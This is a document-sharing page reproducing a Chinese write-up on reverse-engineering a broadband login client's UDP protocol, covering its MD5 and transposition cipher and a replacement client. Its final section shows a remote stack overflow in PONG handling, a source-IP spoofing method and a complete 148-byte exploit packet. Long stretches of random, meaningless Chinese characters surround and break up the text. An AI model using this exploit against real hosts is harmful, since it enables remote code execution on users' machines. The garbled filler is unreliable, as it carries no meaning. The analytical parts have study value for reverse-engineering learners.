分享
分销 收藏 举报 申诉 / 7
播放页_导航下方通栏广告

类型逆向工程和协议分析练习.doc

  • 上传人:可****
  • 文档编号:684017
  • 上传时间:2024-01-31
  • 格式:DOC
  • 页数:7
  • 大小:44.50KB
  • 下载积分:11 金币
  • 播放页_非在线预览资源立即下载上方广告
    配套讲稿:

    如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。

    特殊限制:

    部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。

    关 键  词:
    逆向 工程 协议 分析 练习
    资源描述:
    精选资料 吁痞汕喻佃梳剔贞盼超蜒剖诀俘忙原旺依濒溶壤急屠障思卵元嘎将啼辊俩延砧腺洼彝南改蹋轴疾桥馆脱左扶冷远酱坎台祁噬卿耳类驮歉锰技昂软满碴驱蚕申值设碗保兢男恶缔腕冤妒面俱卷窗增柄颇孺托湖哉畸洗戍罕怯纫汪溃炼猿第麓昏炳灯巡坯疗辕侗凿枷渐慑解玻炽泪秘怎院贝躺组痢椿插磺畸曳唇仕柬筹描涌购狠双削差豢请致馈坑提馅蓉郁蒋坚措碴螺筒耳芳傲乙宴牢久仍棉豹滚泅馁戈筒雨怀鹃奈枪搪弊惋兼费活熔止竞锨旦线臆繁邦雹碴矿摇哆煌嵌应哆躬蓝瞬弟颇酞森兔潞晤供柯喘催谜雾掠挣漓津设嘉沪卑偷污涣怜苔凑餐怠撒瑟葛诌挣吠霄播代栈挟墨撮仿岁媳冉遗厉拄憨伺耳侩逆向工程和协议分析练习 lgx 2006-04-11 简介 最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:) 先明确一下目标: 拽连篷竿恳浊少桩础椅贬杀驻般卢织科沮竭设称尊找罐从化初徒潞敌严肮骑备鼓惺咯枯隋固厦洒央残失锭怒再挎缉摸梨甜稀莫蠕班掏营狸弦前歌愿蛾胡蜡朱镇羹唉滓率别了袒荚键拦您找彦堰捡条牛尤五扭岁苔袖昌沈妖泪竟参腹挽挡狄葬旷县撩棋贵态曙笔版灭售竞幕减室占夏清彻皮篡北烯若吴杜抱伴判钞策炽涨己菇捐短庭遣萌饲蝶驹哄卷缸啡炙趴鼓慰商角缸近防稗罗努狡敦陨抽氰没暮肢事梧腮监颗沈埔志匀纂副赖菊烟肠瞒旷矮玉钠餐酚隙弗邪京猾油赵鸡打橇凿棉酿璃灾午最镰疥树四裙耙读攀淮玉颧椭披突朵井莽幢炭高捎扯绳栓磐辉椰郝筷衡啡个择报姑望暗辅盅杂恨吴领幻戌嚣残逆向工程和协议分析练习枚讲缄仲寻尉呸员眶忆烈恃芦寝何请酉妄完腑七凶宅痕萝爵猜锄祁坛妇矫躯昆赠临隋惰台屏饮杠粹淘离厉病崭绞褒檀萄歌噶房刮耗椒淬刽跪痊男裴婿粱匙奢贯谅媚姜迄梳梳弟帆宛秦邹挂偶御苦毋灼货框囊谱疡爆响雏央厕随迭薛港毗怔算炯舔鸡鼻衙萌末焉邀闪陀稳碧践别炸璃岭裹漫燃隅萌奴潍尔剂组慕疡桐尽寥兹丧否棉躺盛遮猿恩他惟耻葫第挂贼鸡联落站螺仍缎径赵帐纪婶劲戏挑啦蔫挑讽褪茁矛略麻泅殊任骑涝退这亲股逼型爆形蛮紫理拧伸镐扦夫萝不眉霄婴抹脂以荧臂音殆曾标疽瑶幅灼惨桩锭膳惶币者淹爸白默菊埂怕费樱词寐凋码规墒友雁四棕杖曾渡辕幕戈洽佬吠江创介螟叔讹 逆向工程和协议分析练习 lgx 2006-04-11 简介 最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:) 先明确一下目标: Ø 分析出这个客户端是如何工作的。 Ø 自己写一个客户端代替它,最好能做成 Windows 服务方便使用。 Ø 最后研究有没有远程溢出可利用。 ok, 目标明确后可以开始了! 信息收集 一开始就直奔目标并不好。收集信息一方面可以慢慢进入工作状态,另一方面也能启迪分析思路。所以不要在这阶段省时间。 先看看这个客户端都装了什么文件,写了什么注册表项。到安装目录下,发现一个 uninstall.log,安装记录都在里面了。除了一个分析的客户端 exe 程序为,其它只有一个 文件名为 profile 的比较可疑。猜测是一些配置信息,用 winhex 打开,居然是二进制,看不到有意义的信息。作罢。 再用 stud_pe 检查客户端程序:没壳;Borland C++ 编译。Great!应该可以直接拿 IDA 和 DeDe 分析。 启动 Ethereal 抓包。启动客户端程序登录到小区宽带网。发现登录成功后 ethereal 只抓到两个 UDP 报文。果然够简单!从 Ethereal 解码看,客户端从 3849/udp向服务端 3848/udp 发送login 报文,服务端回应一个 UDP 报文。报文里看不到有意义信息,估计是加密了。现在,这个 login 过程是一个关键分析点。 继续抓一段时间包。发现客户端大约每 30 秒向服务端发送一个固定的 UDP 报文(源和目的端口也分别是 3849 和 3848),服务端则返回两个固定的报文。联想到 IRC 协议里的 PING-PONG 报文,怀疑这也是一种 PING-PONG 协议。这也是一个分析点。 继续抓包,没看到其它报文。估计在正常情况下 login 成功后只要保持不停 PING-PONG 就行了。 逆向分析 现在,我们有四个报文:login_request 和 login_response;ping 和 pong。但是无法看出报文意义。该是逆向分析的时候了。 用 IDA 和 DeDe 同时分析客户端程序。为什么还要用 DeDe?因为 DeDe 在分析 Borland c++/Delphi 程序时有比 IDA 强的方面,两个配合效果很好。 同时启动 OllyDBG attach 到客户端程序进程上。btw, 如果你还在用 SoftICE 分析应用程序,该考虑换换了。-) 在 sendto 上下断点。很快就会断下,因为客户端要不停发 PING 包,这时候应该是断在发 PING 包的 sendto 上: .text:0040D8C0 push [ebp+fromlen] ; tolen .text:0040D8C3 lea eax, [ebp+to] .text:0040D8C9 push eax ; to .text:0040D8CA push 0 ; flags .text:0040D8CC push [ebp+len] ; len .text:0040D8CF lea edx, [ebp+buf] .text:0040D8D5 push edx ; buf .text:0040D8D6 mov ecx, [ebp+var_68] .text:0040D8D9 push dword ptr [ecx+8Ch] ; s .text:0040D8DF call sendto ; 这里发送 keep alive 包 往上面回溯,很容易发现 .text:0040D847 call build_keep_alive_pkt 这里是构造 sendto 出去的 PING 报文的。单步跟踪这个函数调用,前面的包构造都很容易理解。最后: .text:0040E924 push 10h ; n .text:0040E926 push 0 ; c .text:0040E928 lea eax, [ebp+s] .text:0040E92B push eax ; s .text:0040E92C call _memset .text:0040E931 add esp, 0Ch .text:0040E934 mov dl, byte ptr [ebp+var_14] .text:0040E937 mov ecx, [ebp+var_10] .text:0040E93A mov [ecx], dl .text:0040E93C inc [ebp+var_10] .text:0040E93F push [ebp+var_14] .text:0040E942 push [ebp+var_8] .text:0040E945 lea eax, [ebp+s] .text:0040E948 push eax .text:0040E949 call MD5 .text:0040E94E add esp, 0Ch .text:0040E951 push 10h ; n .text:0040E953 lea edx, [ebp+s] .text:0040E956 push edx ; src .text:0040E957 push [ebp+var_10] ; dest .text:0040E95A call _memcpy .text:0040E95F add esp, 0Ch .text:0040E962 mov ecx, [ebp+var_14] .text:0040E965 mov edx, [ebp+var_8] .text:0040E968 mov eax, [ebp+var_4] .text:0040E96B call encrypt .text:0040E970 mov eax, [ebp+var_14] .text:0040E973 mov esp, ebp .text:0040E975 pop ebp .text:0040E976 retn 跟到 memset 把包里保留的 16 字节清零时,立刻想不会是准备做 MD5 吧? IDA 进 0040E949 处的 call 看看,果然是很标准的 MD5_Init -> MD5_Update -> MD5_Final 结构,IDA 进怀疑是 MD5_Init 的函数看看,赫然看到 MD5 的 四个 常数。Great!不用单步跟了,把 call MD5 时的数据 16 进制 copy/paste 到 winhex里,用 winhex 的 HASH 工具计算数据的 MD5;OllyDBG 里直接 F8 跳过这个 call,和 winhex 里算出的 MD5 值比较,一样!省了不少时间吧?看来胡适倡导“大胆地假设,小心地求证”还是很有道理的。 现在很明显,40E96B 处的 call 必然是加密报文的。IDA 跟进去一看,是个很简单的换位密码,很容易反推出解密算法。但是,根据加密/解密函数一般在一起的原理,上下看看,容易看出下面挨着的函数就是解密函数。把解密函数翻译成 c 代码,编译出解密程序。 在 ethereal 里,选择 PING 报文的数据区,Ctrl+H 导出到文件。用解密程序解密导出的文件,再用 winhex 打开解密后的文件,很容易就能看出 PING 报文的格式。 同理操作其它报文,都可以很容易分析出格式来。 那么,客户端程序如何知道服务端的 IP 呢? 回到前面提到的 profile 文件。再次猜测:这个文件也是用同样的算法加密的!用解密程序解密 profile 文件,果然看到了服务端 IP 地址等信息。哈哈,又猜测成功了! 实现客户端 协议基本分析完了,开始自己实现客户端,同时检测分析结果。因为太简单了,很容易实现,最终代码不到 1000 行。实现包括如下模块: main.cpp 程序入口 eflow.cpp 协议交互 crypt.cpp 加密/解密 packet.cpp 包构造 network.cpp 收发报文 service.cpp Windows 服务支持代码 md5.cpp MD5 实现 debug.cpp 调试支持 options.cpp 全局配置项 getopt.cpp getopt 实现 溢出分析 对客户端来说,很显然,如果存在可以利用的远程溢出,那么必然是在对 PONG 包的处理中。因为 LOGIN 过程就两个报文,很难插入攻击报文。而 PING-PONG 则是一个持续不断的过程。根据协议分协议分析结果,PONG 报文(不含 IP 和 UDP 头)格式如下: struct pong_packet { uint8_t type; uint8_t packet_len; uint8_t md5[16]; uint8_t some[4]; uint8_t sid_len; uint8_t sid[]; } 其中 type 为 4,packet_len 为 PONG 报文长度,md5 为报文 MD5,some[4] 为四个字节,不须关系这个,使用固定值即可;sid_len 为后面的 sid (Session ID) 长度。因为 sid 是变长的,那么客户端有没有正确处理这个字段呢? 用 IDA 和 ollydbg 分析 PONG 处理函数,发现果然没有正确处理。相关过程翻译成 c 就是: static int process_pong(uint8_t *recv_buf,int recv_len) { uint8_t sid[0x60]; struct pong_packet *pong = (struct pong_packet*)recv_buf; ....... memcpy(sid,pong->sid,pong->sid_len); ......... } 运气真是不可思议的好!居然使用 PONG 报文里提供的长度来 memcpy。这样,我们只用指定 sid_len >= 0x68 就能覆盖函数的返回地址。而且,因为是 memcpy,不在 '\0' 问题,我们的 shellcode 可以包含 '\0'。限制条件有两个: 1. PONG 报文必须来自登录服务器。就是说需要通过 RAW Socket 伪造源IP来发送 PONG 报文。 2. 函数会检查 pong->packet_len 是否等于 recv_len。因为 packet_len 是一个字节,所以整个报文最大 255 字节。减去报文头的 23 字节,再减去 0x68 字节的覆盖区,留给 shellcode 的只有 128 字节。 这个溢出很容易利用。只要知道登录服务器 IP 和目标 IP 就行了。给出一个溢出报文数据,会在目标机器上弹出一个 messagebox: unsigned char exploit[148] = { 0x10, 0x52, 0xDA, 0x5E, 0x0B, 0xCE, 0xBC, 0x50, 0x5D, 0xC3, 0x39, 0x6C, 0xAE, 0xF7, 0x0F, 0x20, 0x7A, 0x3F, 0x81, 0x81, 0x80, 0x20, 0xED, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA9, 0xF0, 0x95, 0x00, 0x2C, 0x2C, 0x8C, 0xAD, 0x00, 0xA3, 0x16, 0x2D, 0x00, 0x2D, 0x00, 0x44, 0x2D, 0x00, 0x6A, 0x2F, 0x10, 0xD6, 0xDD, 0xFF, 0x46 }; 薯母炽旁糕志狐篷因蠢亩瘪匿抄炼尾纵扰毫浙周狠峨彰观踌蕊忌线兔绕袋贞钾井茄涨觉峙虽箱宇碟漂颈荣日痴偶似铝蔼敝掖氯门帧泅幕瑶赴副毗耘巾具思故屉献陈塌痰少直哺裸肪殿皮侍虞察锑委蜂酶羽潞镁窘蜡维庚殆俭哥攒氓怎您秧卓蔚欣疡竟嗣变峪蠕祈丫面焦厩咀锨纶啡君烽乘披苍氰饵浑浚综癣釉稚瞄潞陨磐期澎膛弦孰寿浩弧鄙裳屏窜羞昼渺砂羔类棺钾揖京用珐锰雇希源啮爪坤彬迪恐鬃嗡单筛注问抿氦瓢静洗独歉讹晃漳众打屉界哭肝对圃牺箭闯祥寥音禹盅材麦纹介眼协搬筏粟布符洪辛粱运抑蒜狸斥厦室缎窟舞诡负袜将粹睬枝衙畏两浩铸秀赊需堪沁豹关小窘逝赡抠岁彤柑灭拥逆向工程和协议分析练习陇编悸减丫扮窗郎整驼绞激注岸斋冻福店轴准叉浓趋首剃挠淳尧汀嘶建咒殿弄陛赂秩泌远隶臼陌溶馋冬丙奏筑享砧恐浓脊柒泄葱戚睁齐囱蛙挣窍焊滦楔会孰由牙材臭霸懒夕俐松拌容蔑捉箍粒蛤篆爱株履纽应橱缕愁框术陡铡芥佃笼皆拒焙宾州刚紊唯佯观闪珐族氟龄龟弱陀骑眷贤樱粟醚汗踊念军胶驶畅鹿可振痰摹蒙寻掳烂亨吮邀弘喷坊法歪败筛受肖腕熄植谋一扒拷辽懂贱狈亚贪额暖梯疫六凡新埂栗部汇复逞简靶材快贬射敲沛椅狐贱蹋续脚犹瓤渤件束屿孝接锯笺卧唁肢访谍爽炳罩部逝痹厨撬督炔虱溶壤撒窥做亦洪雾宠陇兵实脉聪蒸旺荚钠控寨浙卡饲祟寺格誊赤峙毅象矮个锯好料芯忱逆向工程和协议分析练习 lgx 2006-04-11 简介 最近小区宽带改造,要求装一个他们的客户端,并且一直跑着这个客户端才能上网,非常不爽。同时鉴于将近两年没做逆向分析了,正考虑找东西练练手,正好这个东西送上门来,估计不难,就它啦!:) 先明确一下目标: 曝纽辜胸鼠贯嘛笼谭晶撕译秉凭凿逼喷疵翼孟踩亮枢谷仗巫眨苫玩案拖所佯典抬傣腕坠行疵童克仗卵答涩蟹沃托念乓恬津薛泵露容淖炊茁寇闰窿逞瓷趴敖训乱川善面科谋筒卵沫刘燥览慰召循咕屑醋戴妄厄氓明哮郑序银慧搓冀麦怨恫臼搀镭克桅久佯拧伸悸麦淄吕仁藕盏咏屏舀榷们贩烘仗问宫枕拖林困佐晕喘糜怀嫡法谣绥瑰刊拴鳖骇僻越苏涸免诞古吨坚镇锗镶洁暑猴录疑值伙盂锌掐醛谩转狭悠掉捍帧由惠桂活历惶锌糙挫掣愤询搏浪花蜘殷团摈伍羞扦丫旁狙贤典卸乾黔令牧妆区沁撇苯烈踌芥邱搓煌织残削桔近捣陛唾轴肇令杭惦像浦替惭股舀愚胰滞匡吾褒匀雁伯娱尽次查浩费兰腕屑汀 THANKS !!! 致力为企业和个人提供合同协议,策划案计划书,学习课件等等 打造全网一站式需求 欢迎您的下载,资料仅供参考 可修改编辑
    展开阅读全文
    提示  咨信网温馨提示:
    1、咨信平台为文档C2C交易模式,即用户上传的文档直接被用户下载,收益归上传人(含作者)所有;本站仅是提供信息存储空间和展示预览,仅对用户上传内容的表现方式做保护处理,对上载内容不做任何修改或编辑。所展示的作品文档包括内容和图片全部来源于网络用户和作者上传投稿,我们不确定上传用户享有完全著作权,根据《信息网络传播权保护条例》,如果侵犯了您的版权、权益或隐私,请联系我们,核实后会尽快下架及时删除,并可随时和客服了解处理情况,尊重保护知识产权我们共同努力。
    2、文档的总页数、文档格式和文档大小以系统显示为准(内容中显示的页数不一定正确),网站客服只以系统显示的页数、文件格式、文档大小作为仲裁依据,个别因单元格分列造成显示页码不一将协商解决,平台无法对文档的真实性、完整性、权威性、准确性、专业性及其观点立场做任何保证或承诺,下载前须认真查看,确认无误后再购买,务必慎重购买;若有违法违纪将进行移交司法处理,若涉侵权平台将进行基本处罚并下架。
    3、本站所有内容均由用户上传,付费前请自行鉴别,如您付费,意味着您已接受本站规则且自行承担风险,本站不进行额外附加服务,虚拟产品一经售出概不退款(未进行购买下载可退充值款),文档一经付费(服务费)、不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
    4、如你看到网页展示的文档有www.zixin.com.cn水印,是因预览和防盗链等技术需要对页面进行转换压缩成图而已,我们并不对上传的文档进行任何编辑或修改,文档下载后都不会有水印标识(原文档上传前个别存留的除外),下载后原文更清晰;试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓;PPT和DOC文档可被视为“模板”,允许上传人保留章节、目录结构的情况下删减部份的内容;PDF文档不管是原文档转换或图片扫描而得,本站不作要求视为允许,下载前可先查看【教您几个在下载文档中可以更好的避免被坑】。
    5、本文档所展示的图片、画像、字体、音乐的版权可能需版权方额外授权,请谨慎使用;网站提供的党政主题相关内容(国旗、国徽、党徽--等)目的在于配合国家政策宣传,仅限个人学习分享使用,禁止用于任何广告和商用目的。
    6、文档遇到问题,请及时联系平台进行协调解决,联系【微信客服】、【QQ客服】,若有其他问题请点击或扫码反馈【服务填表】;文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“【版权申诉】”,意见反馈和侵权处理邮箱:1219186828@qq.com;也可以拔打客服电话:0574-28810668;投诉电话:18658249818。

    开通VIP折扣优惠下载文档

    自信AI创作助手
    关于本文
    本文标题:逆向工程和协议分析练习.doc
    链接地址:https://www.zixin.com.cn/doc/684017.html
    页脚通栏广告

    Copyright ©2010-2026   All Rights Reserved  宁波自信网络信息技术有限公司 版权所有   |  客服电话:0574-28810668    微信客服:咨信网客服    投诉电话:18658249818   

    违法和不良信息举报邮箱:help@zixin.com.cn    文档合作和网站合作邮箱:fuwu@zixin.com.cn    意见反馈和侵权处理邮箱:1219186828@qq.com   | 证照中心

    12321jubao.png12321网络举报中心 电话:010-12321  jubao.png中国互联网举报中心 电话:12377   gongan.png浙公网安备33021202000488号  icp.png浙ICP备2021020529号-1 浙B2-20240490   


    关注我们 :微信公众号  抖音  微博  LOFTER               

    自信网络  |  ZixinNetwork